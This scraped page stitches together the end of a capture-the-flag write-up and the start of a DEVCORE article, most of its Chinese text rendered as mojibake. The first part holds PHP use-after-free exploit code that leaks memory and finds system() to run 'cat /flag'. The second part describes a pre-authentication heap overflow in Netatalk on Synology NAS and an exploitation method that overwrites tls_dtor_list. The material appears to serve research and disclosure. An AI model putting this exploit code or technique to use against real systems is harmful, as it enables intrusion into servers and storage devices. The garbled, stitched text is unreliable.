    private function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for ($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function leak($addr, $p = 0, $s = 8) {
        $this->write($this->placeholder, 0x10, $addr);
        $leak = strlen($this->helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    private function get_basic_funcs($base) {
        for ($i = 0; $i < 0x6900/8; $i++) {
            $leak = $this->leak($base - $i * 8);
            if (($base - $leak) > 0 && ($leak & 0xfffffffff0000000 ) == ($base & 0xfffffffff0000000 )) {
                $deref = $this->leak($leak);
                if ($deref != 0x73006e6962327865){ // 0x6e69623278656800){ // 'nib2xeh\x00' ---> bin2hex  
        continue;
                }
            } else continue;
            return $base - ($i-2) * 8;
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        $i = 0;
        do {
            $f_entry = $this->leak($addr-0x10);
            $f_name = $this->leak($f_entry,8);
            if ($f_name == 0x736500646d636c6c) { //'se\x00dmcll'
                return $this->leak($addr + 8+0x10);
            }
            $addr += 0x20;
            $i += 1;
        } while ($f_entry != 0); 
        return false;
    }
}

new exploit("cat /flag");

?>

Upload and execute it:

AdeptsOf0xCC{PHP_is_the_UAF_land}
AdeptsOf0xCC{PHP_is_the_UAF_land}

EoF

We hope you enjoyed this challenge!

Feel free to give us feedback at our twitter @AdeptsOf0xCC.

โœ‡ DEVCORE

Your NAS is not your NAS !

โ€”

English Version
ไธญๆ–‡็‰ˆๆœฌ

ๅ‰ๅนดๆˆ‘ๅ€‘ๅœจ Synology ็š„ NAS ไธญ๏ผŒ็™ผ็พไบ†๏ผŒPre-auth RCE ็š„ๆผๆดž๏ผŒไธฆๅœจ Pwn2Own Tokyo ไธญ๏ผŒๅ–ๅพ—ไบ† Synology DS418 play ็š„ๆŽงๅˆถๆฌŠ๏ผŒ่€ŒๆˆๅŠŸ็ฒๅพ— Pwn2Own ็š„้ปžๆ•ธ๏ผŒๅพŒ็บŒไนŸ็™ผ็พ้€™ๅ€‹ๆผๆดžไธๅชๅญ˜ๅœจ Synology ็š„ NAS๏ผŒไนŸๅŒๆ™‚ๅญ˜ๅœจๅคšๆ•ธๅป ็‰Œ็š„ NAS ไธญ๏ผŒ้€™็ฏ‡็ ”็ฉถๅฐ‡่ฌ›่ฟฐ้€™ๆผๆดž็š„็ดฐ็ฏ€ๅŠๆˆ‘ๅ€‘็š„ๅˆฉ็”จๆ–นๅผใ€‚

ๆญคไปฝ็ ”็ฉถไบฆ็™ผ่กจๆ–ผ HITCON 2021๏ผŒไฝ ๅฏไปฅๅพž้€™่ฃกๅ–ๅพ—ๆŠ•ๅฝฑ็‰‡๏ผ

Network Attached Storage

ๆ—ฉๆœŸ NAS ไธ€่ˆฌ็”จ้€”็‚บ่ฎ“ไผบๆœๅ™จๆœฌ่บซ่ˆ‡่ณ‡ๆ–™ๅˆ†้–‹ไนŸ็‚บไบ†ๅš็•ฐๅœฐๅ‚™ๆด่€Œไฝฟ็”จ็š„่จญๅ‚™๏ผŒๅŠŸ่ƒฝไธŠไธป่ฆๅ–ฎ็ด”่ฎ“ไฝฟ็”จ่€…ๅฏไปฅ็›ดๆŽฅๅœจ็ถฒ่ทฏไธŠๅญ˜ๅ–่ณ‡ๆ–™ๅŠๅˆ†ไบซๆช”ๆกˆ๏ผŒ็พไปŠ็š„ NAS ๆ›ดๆ˜ฏๆไพ›ๅคš็จฎๆœๅ‹™๏ผŒไธๆญขๆช”ๆกˆๅˆ†ไบซๆ›ดๅŠ ๆ–นไพฟ๏ผŒไนŸ่ˆ‡ IoT ็š„็’ฐๅขƒๆ›ดๅŠ ๅฏ†ๅˆ‡๏ผŒไพ‹ๅฆ‚ SMB/AFP ็ญ‰ๆœๅ‹™๏ผŒๅฏ่ผ•ๆ˜“็š„่ฎ“ไธๅŒ็ณป็ตฑ็š„้›ป่…ฆๅˆ†ไบซๆช”ๆกˆ๏ผŒๆ™ฎๅŠ็Ž‡ไนŸ้ ๆฏ”ไปฅๅ‰้ซ˜ๅพˆๅคšใ€‚

็พไปŠ็š„ NAS๏ผŒไนŸๅฏ่ฃไธŠ่จฑๅคšๅฅ—ไปถ๏ผŒๆ›ดๆ˜ฏๆœ‰ไธๅฐ‘ไบบๆ‹ฟไพ†ๆžถ่จญ Server๏ผŒๅœจ้€™ๆ™บๆ…งๅฎถๅบญ็š„ๅนดไปฃไธญ๏ผŒๆ›ดๆ˜ฏๆœƒๆœ‰ไธๅฐ‘ไบบ่ˆ‡ home assistant ็ตๅˆ๏ผŒไฝฟๅพ—็”Ÿๆดปๆ›ดๅŠ ไพฟๅˆฉใ€‚

Motivation

็‚บไฝ•ๆˆ‘ๅ€‘่ฆๅŽป็ ”็ฉถ NAS ๅ‘ข ?

็ด…้šŠ้œ€ๆฑ‚

้ŽๅŽปๅœจๆˆ‘ๅ€‘ๅœ˜้šŠๅœจๅŸท่กŒ็ด…้šŠ้Ž็จ‹ไธญ๏ผŒNAS ๆ™ฎ้ๆœƒๅ‡บ็พๅœจไผๆฅญ็š„ๅ…ง็ถฒไธญ๏ผŒๆœ‰ๆ™‚ๆ›ดๆœƒๆšด้œฒๅœจๅค–็ถฒ๏ผŒๆœ‰ๆ™‚ๆ›ดๆœƒๅญ˜ๆ”พไธๅฐ‘ไผๆฅญ็š„ๆฉŸๅฏ†่ณ‡ๆ–™ๅœจ NAS ไธŠ๏ผŒๅ› ๆญค NAS ๆผธๆผธ่ขซๆˆ‘ๅ€‘้—œๆณจ๏ผŒๆˆฐ็•ฅๅƒนๅ€ผไนŸๆฏ”ไปฅๅพ€้ซ˜ๅพˆๅคšใ€‚

ๅ‹’็ดข็—…ๆฏ’

่ฟ‘ๅนดไพ†ๅ› ็‚บ NAS ๆ—ฅ็›Šๆ™ฎๅŠ๏ผŒๅธธ่ขซๆ‹ฟไพ†ๆ”พๅ€‹ไบบ็š„้‡่ฆ่ณ‡ๆ–™๏ผŒไฝฟ NAS ๆˆ็‚บไบ†ๅ‹’็ดข็—…ๆฏ’็š„็›ฎๆจ™๏ผŒ้€šๅธธ้งญๅฎข็ต„็น”้ƒฝๆœƒๅˆฉ็”จๆผๆดžๅ…ฅไพต NAS ๅพŒ๏ผŒๅฐ‡ๅญ˜ๆ”พๅœจ NAS ไธญ็š„ๆช”ๆกˆ้ƒฝๅŠ ๅฏ†ๅพŒๅ‹’็ดข๏ผŒ่€ŒไปŠๅนดๅนดๅˆๆ‰ๅˆ็ˆ†็™ผไธ€ๆณข locker ็ณปๅˆ—็š„ไบ‹ไปถ๏ผŒๆˆ‘ๅ€‘ๅธŒๆœ›ๅฏไปฅๆธ›ๅฐ‘้กžไผผ็š„ไบ‹ๆƒ…ๅ†ๆฌก็™ผ็”Ÿ๏ผŒๅ› ่€Œๆ้ซ˜ NAS ็ ”็ฉถ็š„ๅ„ชๅ…ˆ็จ‹ๅบฆ๏ผŒไพ†ๅขžๅŠ  NAS ๅฎ‰ๅ…จๆ€งใ€‚ไนŸ็‚บไบ†ๆˆ‘ๅ€‘ๅฏฆ็พ่ฎ“ไธ–็•Œๆ›ดๅฎ‰ๅ…จ็š„็†ๆƒณใ€‚

Pwn2Own Mobile 2020

ๆœ€ๅพŒไธ€้ปžๆ˜ฏ NAS ๅพž 2020 ้–‹ๅง‹๏ผŒๆˆ็‚บไบ† Pwn2Own Mobile ็š„ไธป่ฆ็›ฎๆจ™ไน‹ไธ€๏ผŒๅˆๅ‰›ๅฅฝๅ‰ๅนดๆˆ‘ๅ€‘ไนŸๆƒณๅ˜—่ฉฆๆŒ‘ๆˆฐ็œ‹็œ‹ Pwn2Own ็š„่ˆžๅฐ๏ผŒๆ‰€ไปฅๆฑบๅฎšไปฅ NAS ไฝœ็‚บ็•ถๆ™‚็ ”็ฉถ็š„้ฆ–่ฆ็›ฎๆจ™๏ผŒๅ‰ๅนด Pwn2Own ็š„็›ฎๆจ™็‚บ Synology ๅŠ WD ๏ผŒ็”ฑๆ–ผ Synology ็‚บๅฐ็ฃไผๆฅญๅธธ่ฆ‹่จญๅ‚™๏ผŒๆ‰€ไปฅๆˆ‘ๅ€‘ๆœ€ๅพŒ้ธๆ“‡ไบ† Synology ้–‹ๅง‹็ ”็ฉถใ€‚

Recon

Environment

  • DS918+
  • DSM 6.2.3-25426

ๆˆ‘ๅ€‘็š„ๆธฌ่ฉฆ็’ฐๅขƒๆ˜ฏ DS918+ ่ˆ‡ Pwn2own ็›ฎๆจ™ๆฅต็‚บ้กžไผผ็š„ๅž‹่™Ÿ๏ผŒๆˆ‘ๅ€‘็‚บไบ†ๆ›ดไฝณ็ฌฆๅˆๅนณๅธธๆœƒ้‡ๅˆฐ็š„็’ฐๅขƒไปฅๅŠ Pwn2Own ไธญ่ฆๆฑ‚๏ผŒๆœƒๆ˜ฏๅ…จ้ƒจ default setting ็š„็‹€ๆ…‹ใ€‚

Attack surface

้ฆ–ๅ…ˆๅฏๅ…ˆ็”จ netstat ็œ‹ tcp ๅ’Œ udp ไธญๆœ‰ๅ“ชไบ› port ๆ˜ฏๅฐๅค–้–‹ๆ”พ๏ผŒๅฏไปฅ็œ‹ๅˆฐ tcp ๅŠ udp ไธญ ๅœจ default ็’ฐๅขƒไธ‹๏ผŒๅฐฑ้–‹ไบ†ไธๅฐ‘ๆœๅ‹™๏ผŒๅƒๆ˜ฏ tcp ็š„ smb/nginx/afpd ็ญ‰

่€Œ udp ไธญๅ‰‡ๆœ‰ minissdpd/findhost/snmpd ็ญ‰๏ผŒๅคšๆ•ธ้ƒฝๆ˜ฏไธ€ไบ›็”จไพ†ๅนซๅŠฉๅฐ‹ๆ‰พ่จญๅ‚™็š„ๅ”ๅฎšใ€‚

ๆˆ‘ๅ€‘้€™้‚ŠๆŒ‘ไบ†ๅนพๅ€‹ Service ๅšๅˆๆญฅ็š„ๅˆ†ๆž

DSM Web interface

้ฆ–ๅ…ˆๆ˜ฏ DSM Web ไป‹้ข๏ผŒๆœ€็›ด่ฆบไนŸๆœ€็›ดๆŽฅ็š„ไธ€้ƒจๅˆ†๏ผŒ้€™้ƒจๅˆ†ๅคงๆฆ‚ไนŸๆœƒๆ˜ฏๆœ€ๅคšไบบๅŽปๅˆ†ๆž็š„ไธ€ๅกŠ๏ผŒๆœ‰ๆ˜Ž้กฏ็š„ๅ…ฅๅฃ้ปž๏ผŒๅœจๅค่€ๆ™‚ๆœŸๅธธๆœ‰ command injection ๆผๆดž๏ผŒไฝ†ๅพŒไพ†ๆœ‰ Synology ๆœ‰ๅšดๆ ผ่ฆ็ฏ„๏ผŒๅพŒๅพนๅบ•ๆ”นๅ–„้€™ๅ•้กŒ๏ผŒ็จ‹ๅผไนŸๆŽก็”จ็›ธๅฐไฟๅฎˆ็š„ๆ–นๅผ้–‹็™ผ๏ผŒ็›ธๅฐๅฎ‰ๅ…จไธๅฐ‘ใ€‚

SMB

Synology ไธญ็š„ SMB ๅ”ๅฎš๏ผŒไฝฟ็”จ็š„ๆ˜ฏ Open Source ็š„ Samba ๏ผŒๅ› ไฝฟ็”จ็š„ไบบ็œพๅคš๏ผŒ้€ฒ่กŒ code review ๅŠๆผๆดžๆŒ–ๆŽ˜็š„ไบบไนŸไธๅฐ‘๏ผŒไฝฟๅพ—ๆฏๅนดๆœƒๆœ‰ไธๅฐ‘ๅฐๆดž๏ผŒ่ฟ‘ๆœŸๆœ€ๅšด้‡็š„ๅฐฑๆ˜ฏ SambaCry๏ผŒไฝ†็”ฑๆ–ผ่ผƒๅคšไบบๅœจ review ๅฎ‰ๅ…จๆ€ง็›ธๅฐไนŸๆฏ”ๅ…ถไป–ๆœๅ‹™ๅฎ‰ๅ…จใ€‚

iSCSI Manager

ไธป่ฆๅ”ๅŠฉไฝฟ็”จ่€…็ฎก็†่ˆ‡็›ฃๆŽง iSCSI ๆœๅ‹™๏ผŒ็”ฑ Synology ่‡ช่กŒ้–‹็™ผ๏ผŒ่ฟ‘ๆœŸ็ฎ—ๆฏ”่ผƒๅธธๅ‡บ็พๆผๆดž็š„ๅœฐๆ–น๏ผŒไฝ†้œ€่ฆ่Šฑไธๅฐ‘ๆ™‚้–“ Reverse ๏ผŒไธ้Žๆ˜ฏๅ€‹ไธ้Œฏ็š„็›ฎๆจ™๏ผŒๅฆ‚ๆžœๆฒ’ๆœ‰ๅ…ถไป–ๆ”ปๆ“Š้ข๏ผŒๅฏ่ƒฝๆœƒๅ„ชๅ…ˆๅˆ†ๆžใ€‚

Netatalk

ๆœ€ๅพŒไธ€ๅ€‹่ฆๆ็š„ๆ˜ฏ Netatalk ไนŸๅฐฑๆ˜ฏ afp ๅ”ๅฎš๏ผŒๅŸบๆœฌไธŠๆฒ’ไป€้บผๆ”น๏ผŒๅคง้ƒจๅˆ†ๆฒฟ็”จ open source ็š„ Netatalk๏ผŒ่ฟ‘ๆœŸๆœ€ๅšด้‡็š„ๆผๆดž็‚บ 2018 ็š„ Pre-auth RCE (CVE-2018-1160)๏ผŒ้—œๆ–ผ้€™ๆผๆดžๅฏๅƒ่€ƒ Exploiting an 18 Year Old Bug ๏ผŒNetatalk ็›ธๅฐๅ…ถไป– Service ้ŽๅŽป็š„ๆผๆดžๅฐ‘้žๅธธๅคš๏ผŒๆ˜ฏๆฏ”่ผƒๅฐ‘่ขซๆณจๆ„ๅˆฐ็š„ไธ€ๅกŠ๏ผŒไธฆไธ”ๅทฒ็ถ“้•ทๆ™‚้–“ๆฒ’ๅœจๆ›ดๆ–ฐ็ถญ่ญทใ€‚

ๆˆ‘ๅ€‘็ถ“้Žๆ•ด้ซ”ๅˆ†ๆžๅพŒ๏ผŒ ่ช็‚บ Netatalk ไนŸๆœƒๆ˜ฏ Synology ไธญๆœ€่ปŸ็š„ไธ€ๅกŠ๏ผŒไธ”ๆœ‰ Source code ๅฏไปฅ็œ‹๏ผŒๆ‰€ไปฅๆˆ‘ๅ€‘ๆœ€ๅพŒๆฑบๅฎšๅ…ˆๅˆ†ๆžไป–ใ€‚็•ถ็„ถไนŸ้‚„ๆœ‰ๅ…ถไป– service ่ทŸๆ”ปๆ“Š้ข๏ผŒไธ้Ž้€™้‚Š็”ฑๆ–ผ็ฏ‡ๅน…ๅ› ็ด ๅŠไธฆๆฒ’ๆœ‰่Šฑๅคชๅคšๆ™‚้–“ๅŽป็ ”็ฉถๅฐฑไธไธ€ไธ€ๅˆ†ๆžไป‹็ดนไบ†ใ€‚ๆˆ‘ๅ€‘้€™ๆฌก็š„้‡้ปžๅฐฑๅœจๆ–ผ Netatalkใ€‚

Netatalk

Apple Filing Protocol (AFP) ๆ˜ฏๅ€‹้กžไผผ SMB ็š„ๆช”ๆกˆๅ‚ณ่ผธๅ”ๅฎš๏ผŒๆไพ› Mac ไพ†ๅ‚ณ่ผธๅŠๅˆ†ไบซๆช”ๆกˆ๏ผŒๅ›  Apple ๆœฌ่บซไธฆๆฒ’ๆœ‰้–‹ๆบ๏ผŒ็‚บไบ†่ฎ“ Unlx like ็š„็ณป็ตฑไนŸๅฏไปฅไฝฟ็”จ๏ผŒๆ–ผๆ˜ฏ่ช•็”Ÿไบ† Netatalk๏ผŒNetatalk ๆ˜ฏๅ€‹ๅฏฆไฝœ Mac ็š„ AFP ๅ”ๅฎš็š„ OpenSource ๅฐˆๆกˆ๏ผŒ็‚บไบ†่ฎ“ Mac ๅฏไปฅๆ›ดๆ–นไพฟ็š„็”จ NAS ไพ†ๅˆ†ไบซๆช”ๆกˆ๏ผŒๅนพไนŽๆฏไธ€ๅป ็‰Œ็š„ NAS ้ƒฝๆœƒไฝฟ็”จใ€‚

Netatalk in Synology

Synology ไธญ็š„ netatalk ๆ˜ฏ้ ่จญ้–‹ๅ•Ÿ๏ผŒ็‰ˆๆœฌๆ˜ฏๆ”น่‡ช 3.1.8 ็š„ netatalk๏ผŒไธฆไธ”ๆœ‰ๅœจๅฎšๆœŸ่ฟฝ่นคๅฎ‰ๅ…จๆ€งๆ›ดๆ–ฐ๏ผŒๅช่ฆๅ‰›่ฃๅฅฝๅฐฑๅฏไปฅ็”จ afp ๅ”ๅฎšไพ†่ˆ‡ Synology NAS ๅˆ†ไบซๆช”ๆกˆ๏ผŒ่€Œ binary ๆœฌ่บซไฟ่ญทๆœ‰ ASLR/NX/StackGuardใ€‚

DSI

่ฌ›ๆผๆดžไน‹ๅ‰๏ผŒๅ…ˆๅธถๅคงๅฎถไพ†็œ‹ไธ€ไธ‹ netatalk ไธญ๏ผŒ้ƒจๅˆ†้‡่ฆ็ตๆง‹๏ผŒ้ฆ–ๅ…ˆๆ˜ฏ DSI๏ผŒNetatalk ๅœจ้€ฃ็ทšๆ™‚ๆ˜ฏไฝฟ็”จ็š„ DSI (Data Stream interface) ไพ†ๅ‚ณ้ž่ณ‡่จŠ๏ผŒServer ่ทŸ Client ้ƒฝๆ˜ฏ้€š้Ž DSI ้€™ๅ€‹ๅ”ๅฎšไพ†ๆบ้€š๏ผŒๆฏๅ€‹ connectation ็š„ packet ้ƒฝๆœƒๆœ‰ DSI ็š„ header ๅœจ packet ๅ‰้ข

DSI Packet Header :

DSI ๅฐๅŒ…ไธญๅ…งๅฎนๅคง่‡ดไธŠๆœƒๅฆ‚ไธŠๅœ–ๆ‰€็คบ๏ผŒๆœƒๆœ‰ Flag/Command ็ญ‰็ญ‰ metadata ไปฅๅŠ payload ้€šๅธธๅฐฑๆœƒๆ˜ฏไธ€ๅ€‹ DSI Header + payload ็š„็ตๆง‹

AFP over DSI :

afp ๅ”ๅฎš็š„้€š่จŠ้Ž็จ‹ๅคงๆฆ‚ๅฆ‚ไธŠๅœ–ๆ‰€็คบ๏ผŒไฝฟ็”จ AFP ๆ™‚๏ผŒclient ๆœƒๅ…ˆๅŽปๆ‹ฟ server ่ณ‡่จŠ๏ผŒไพ†็ขบๅฎšๆœ‰ๅ“ชไบ›่ช่ญ‰็š„ๆ–นๅผ้‚„ๆœ‰ไฝฟ็”จ็š„็‰ˆๆœฌ็ญ‰็ญ‰่ณ‡่จŠ๏ผŒ้€™ๅ€‹้ƒจๅˆ†ๅฏไปฅไธๅš๏ผŒ็„ถๅพŒๆœƒๅŽป Open Session ไพ†๏ผŒ้–‹ๅ•Ÿๆ–ฐ็š„ Session๏ผŒๆŽฅ่‘—ๅฐฑๅฏไปฅๅŸท่กŒ AFP ็š„ command ๏ผŒไฝ†ๅœจๆœช่ช่ญ‰ไน‹ๅ‰๏ผŒๅชๅฏไปฅๅš็™ปๅ…ฅ่ทŸ็™ปๅ‡บ็ญ‰็›ธ้—œๆ“ไฝœ๏ผŒๆˆ‘ๅ€‘ๅฟ…้ ˆ็”จ login ๅŽป้ฉ—่ญ‰ไฝฟ็”จ่€…่บซไปฝ๏ผŒๅช่ฆๆฌŠ้™ๆฒ’ๅ•้กŒๆŽฅไธ‹ไพ†ๅฐฑๅฏๅƒ SMB ไธ€ๆจฃๅšๆช”ๆกˆๆ“ไฝœ

ๅœจ Netatalk ๅฏฆไฝœไธญ๏ผŒๆœƒ็”จ dsi_block ไฝœ็‚บๅฐๅŒ…็š„็ตๆง‹

dsi_block :

  • dsi_flag ๅฐฑๆ˜ฏๆŒ‡่ฉฒ packet ๆ˜ฏ request or reply
  • dsi_command ่กจ็คบๆˆ‘ๅ€‘็š„ request ่ฆๅš็š„ไบ‹ๆƒ…
    • DSICloseSession
    • DSICommand
    • DSIGetStatus
    • DSIOpenSession
  • dsi_code
    • Error code
    • For reply
  • dsi_doff
    • DSI data offset
    • Using in DSIWrite
  • dsi_len
    • The Length of Payload

DSI : A descriptor of dsi stream

ๅœจ netatalk ไธญ๏ผŒ้™คไบ†ๅŽŸๅง‹ๅฐๅŒ…็ตๆง‹ๅค–๏ผŒไนŸๆœƒๅฐ‡ๅฐๅŒ…ๅŠ่จญๅฎšๆช” parse ๅฎŒๅพŒ๏ผŒๅฐ‡ๅคง้ƒจๅˆ†็š„่ณ‡่จŠ๏ผŒๅญ˜ๆ”พๅˆฐๅฆๅค–ไธ€ๅ€‹ๅ็‚บ DSI ็ตๆง‹ไธญ๏ผŒไพ‹ๅฆ‚ server_quantum ๅŠ payload ๅ…งๅฎน็ญ‰๏ผŒไปฅไพฟๅพŒ็บŒ็š„ๆ“ไฝœใ€‚

่€ŒๅฐๅŒ…ไธญ็š„ Payload ๆœƒๅญ˜ๆ”พๅœจ DSI ไธญ command ็š„ buffer ไธญ๏ผŒ่ฉฒ buffer ๅคงๅฐ๏ผŒๅ–่‡ชๆ–ผ server_quantum๏ผŒ่ฉฒๆ•ธๅ€ผๅ‰‡ๆ˜ฏๅ–่‡ชๆ–ผ afp ็š„่จญๅฎšๆช” afp.conf ไธญใ€‚

ๅฆ‚ๆžœๆฒ’็‰นๅˆฅ่จญๅฎš๏ผŒๅ‰‡ๆœƒๅ–็”จ default ๅคงๅฐ 0x100000ใ€‚

ๆœ‰ไบ†ๅˆๆญฅไบ†่งฃๅพŒ๏ผŒๆˆ‘ๅ€‘ๅฏไปฅ่ฌ›่ฌ›ๆผๆดžใ€‚

Vulnerability

ๆˆ‘ๅ€‘็™ผ็พ็š„ๆผๆดžๅฐฑ็™ผ็”Ÿๅœจ๏ผŒๅŸท่กŒ dsi command ๆ™‚๏ผŒ่ฎ€ๅ– payload ๅ…งๅฎน็™ผ็”Ÿไบ† overflow๏ผŒๆญคๆ™‚ไธฆไธ้œ€็™ปๅ…ฅๅฐฑๅฏไปฅ่งธ็™ผใ€‚ๅ•้กŒๅ‡ฝๅผๆ˜ฏๅœจ dsi_stream_receive

้€™ๆ˜ฏไธ€ๅ€‹ๅฐ‡ๆŽฅๆ”ถๅˆฐๅฐๅŒ…็š„่ณ‡่จŠ parse ๅพŒๆ”พๅˆฐ DSI ็ตๆง‹็š„ function๏ผŒ้€™ๅ€‹ function ๆŽฅๆ”ถๅฐๅŒ…่ณ‡ๆ–™ๆ™‚๏ผŒๆœƒๅ…ˆๆ นๆ“š header ไธญ็š„ dsi_len ไพ†ๆฑบๅฎš่ฆ่ฎ€ๅคšๅฐ‘่ณ‡ๆ–™ๅˆฐ command buffer ไธญ๏ผŒ่€Œไธ€้–‹ๅง‹ๆœ‰้ฉ—่ญ‰dsi_cmdlen ไธๅฏ่ถ…้Ž server quantum ไนŸๅฐฑๆ˜ฏ command buffer ๅคงๅฐใ€‚

็„ถ่€Œๅฆ‚ไธŠๅœ–้ปƒๅŒก่™•๏ผŒๅฆ‚ๆžœๆœ‰็ตฆ dsi_doff ๏ผŒๅ‰‡ๆœƒๅฐ‡ dsi_doff ไฝœ็‚บ cmdlen ๅคงๅฐ๏ผŒไฝ†้€™้‚Šๅปๆฒ’ๅŽปๆชขๆŸฅๆ˜ฏๅฆๆœ‰่ถ…้Ž command bufferใ€‚

ไฝฟๅพ— dsi_strem_read ไปฅ้€™ๅ€‹ๅคงๅฐไพ†่ฎ€ๅ– paylaod ๅˆฐ command buffer ไธญ๏ผŒๆญคๆ™‚ command buffer ๅคงๅฐ็‚บ 0x100000๏ผŒๅฆ‚ๆžœ dsi_doff ๅคงๅฐ่ถ…้Ž 0x100000 ๅฐฑๆœƒ็™ผ็”Ÿ heap overflowใ€‚

Exploitation

็”ฑๆ–ผๆ˜ฏ heap overflow๏ผŒๆ‰€ไปฅๆˆ‘ๅ€‘้€™้‚Šๅฟ…้ ˆๅ…ˆ็†่งฃ heap ไธŠๆœ‰ไป€้บผๆฑ่ฅฟๅฏไปฅๅˆฉ็”จ๏ผŒๅœจ DSM ไธญ็š„ Netatalk ๆ‰€ไฝฟ็”จ็š„ Memory Allocator ๆ˜ฏ glibc 2.20๏ผŒ่€Œๅœจ glibc ไธญ๏ผŒ็•ถ malloc ๅคงๅฐ่ถ…้Ž 0x20000 ๆ™‚๏ผŒๅฐฑๆœƒไฝฟ็”จ mmap ไพ†ๅˆ†้…่จ˜ๆ†ถ้ซ”็ฉบ้–“๏ผŒ่€Œๆˆ‘ๅ€‘ๅœจ netatalk ๆ‰€ไฝฟ็”จ็š„ๅคงๅฐๅ‰‡ๆ˜ฏ 0x100000 ่ถ…้Ž 0x20000 ๅ› ๆญคๆœƒ็”จ mmap ไพ†ๅˆ†้…ๆˆ‘ๅ€‘็š„ command bufferใ€‚

ๅ› ็‚บๆ˜ฏไปฅ mmap ๅˆ†้…็š„้—œไฟ‚๏ผŒๆœ€ๅพŒๅˆ†้…ๅ‡บไพ†็š„็ฉบ้–“ๅ‰‡ๆœƒๅœจ Thread Local Storage ๅ€ๆฎตไธŠ้ข๏ผŒ่€Œไธๆ˜ฏๅœจๆญฃๅธธ็š„ heap segment ไธŠ๏ผŒๅฆ‚ไธŠๅœ–็š„็ด…ๆก†่™•ใ€‚

afpd ็š„ memory layout ๅฆ‚ไธŠๅœ–ๆ‰€็คบ๏ผŒไธŠ่ฟฐ็ด…ๆก†้‚ฃๅกŠๅฐฑๆ˜ฏ๏ผŒ็ด…่‰ฒ+ๆฉ˜่‰ฒ้€™ๅ€ๆฎต๏ผŒๅœจ command buffer ไธ‹ๆ–น็š„ๆ˜ฏ Thread-local Storageใ€‚

Thread-local Storage

Thread-local Storage(TLS) ๆ˜ฏ็”จไพ†ๅญ˜ๆ”พ thread ็š„ๅ€ๅŸŸ่ฎŠๆ•ธ๏ผŒๆฏๅ€‹ thread ้ƒฝๆœƒๆœ‰่‡ชๅทฑ็š„ TLS๏ผŒๅœจ Thread ๅปบ็ซ‹ๆ™‚ๅฐฑๆœƒๅˆ†้…๏ผŒ็•ถ Thread ็ตๆŸ็š„ๆ™‚ๅ€™ๅฐฑๆœƒ้‡‹ๆ”พ๏ผŒ่€Œ main thread ็š„ TLS ๅ‰‡ๆœƒๅœจ Process ๅปบ็ซ‹ๆ™‚ๅฐฑๆœƒๅˆ†้…๏ผŒๅฆ‚ๅ‰้ขๅœ–็‰‡ไธญ็š„ๆฉ˜่‰ฒๅ€ๆฎต๏ผŒๅ› ๆญคๆˆ‘ๅ€‘ๅฏๅˆฉ็”จ heap overflow ็š„ๆผๆดžไพ†่ฆ†่“‹ๆŽ‰ๅคง้ƒจๅˆ†ๅญ˜ๆ”พๅœจ TLS ไธŠ็š„่ฎŠๆ•ธใ€‚

Target in TLS

ไบ‹ๅฏฆไธŠไพ†่ชช TLS ๅฏๆŽงๅˆถ RIP ็š„่ฎŠๆ•ธๆœ‰ไธๅฐ‘๏ผŒ้€™้‚Šๆๅ‡บๅนพๅ€‹ๆฏ”่ผƒๅธธ่ฆ‹็š„

  • ็ฌฌไธ€ๅ€‹ๆ˜ฏ main arena๏ผŒไธป่ฆๆ˜ฏ glibc ่จ˜ๆ†ถ้ซ”็ฎก็†ๅ€‹็ตๆง‹๏ผŒๆ”น main arena ๅฏไปฅ่ฎ“่จ˜ๆ†ถ้ซ”ๅˆ†้…ๅˆฐไปปๆ„่จ˜ๆ†ถ้ซ”ไฝ็ฝฎ๏ผŒๅšไปปๆ„ๅฏซๅ…ฅ๏ผŒไฝ†ๆง‹้€ ไธŠๆฏ”่ผƒ้บป็…ฉใ€‚
  • ็ฌฌไบŒๅ€‹ๆ˜ฏ pointer guard ๅฏ่—‰็”ฑไฟฎๆ”น pointer guard ไพ†ๆ”น่ฎŠๅŽŸๆœฌๅ‘ผๅซ็š„ function pointer ๏ผŒไฝ†้€™้‚Š้œ€่ฆๅ…ˆๆœ‰ leak ่ทŸ็Ÿฅ้“ๅŽŸๆœฌ pointer guard ็š„ๅ€ผๆ‰่ƒฝ้”ๆˆ
  • ็ฌฌไธ‰ๅ€‹ๅ‰‡ๆ˜ฏๆ”น tls_dtor_list ๏ผŒไธ้ ˆ leak ๆฏ”่ผƒ็ฌฆๅˆๆˆ‘ๅ€‘็พๅœจ็š„็‹€ๆณ

Overwrite tls_dtor_list

้€™ๆŠ€ๅทงๆ˜ฏ็”ฑ project zero ๅœจ 2014 ๆ‰€ๆๅ‡บ็š„ๆ–นๆณ•๏ผŒ่ฆ†่“‹ TLS ไธŠ็š„ tls_dtor_list ไพ†ๅšๅˆฉ็”จ๏ผŒ่—‰็”ฑ่ฆ†่“‹่ฉฒ่ฎŠๆ•ธๅฏๅœจ็จ‹ๅผ็ตๆŸๆ™‚ๆŽงๅˆถ็จ‹ๅผๆต็จ‹ใ€‚

struct dtor_list
{
    dtor_func func;
    void *obj;
    struct link_map *map;
    struct dtor_list *next;
}

้€™้‚Šๅฐฑ็จๅพฎๆไธ€ไธ‹้€™ๅ€‹ๆ–นๆณ•๏ผŒtls_dtor_list ๆ˜ฏๅ€‹ dtor_list object ็š„ singly linked list ไธป่ฆๆ˜ฏๅญ˜ๆ”พ thread local storage ็š„ destructor๏ผŒๅœจ thread ็ตๆŸๆ™‚ๆœƒๅŽป็œ‹้€™ๅ€‹ linked list ไธฆๅŽปๅ‘ผๅซ destructor function๏ผŒๆˆ‘ๅ€‘ๅฏ่—‰็”ฑ่ฆ†่“‹ tls_dtor_list ๆŒ‡ๅ‘ๆˆ‘ๅ€‘ๆ‰€ๆง‹้€ ็š„ dtor_listใ€‚

่€Œ็•ถ็จ‹ๅผ็ตๆŸๅ‘ผๅซ exit() ๆ™‚๏ผŒๆœƒๅŽปๅ‘ผๅซ call_tls_dtors() ๏ผŒ่ฉฒ function ๆœƒๅŽปๅ– tls_dtor_list ไธญ็š„ object ไธฆๅŽปๅ‘ผๅซๆฏๅ€‹ destructor๏ผŒๆญคๆ™‚ๅฆ‚ๆžœๆˆ‘ๅ€‘ๅฏไปฅๆŽงๅˆถ tls_dtor_list ๅฐฑๆœƒๅŽปไฝฟ็”จๆˆ‘ๅ€‘ๆ‰€ๆง‹้€ ็š„ dtor_list ไพ†ๅ‘ผๅซๆˆ‘ๅ€‘ๆŒ‡ๅฎš็š„ๅ‡ฝๅผใ€‚

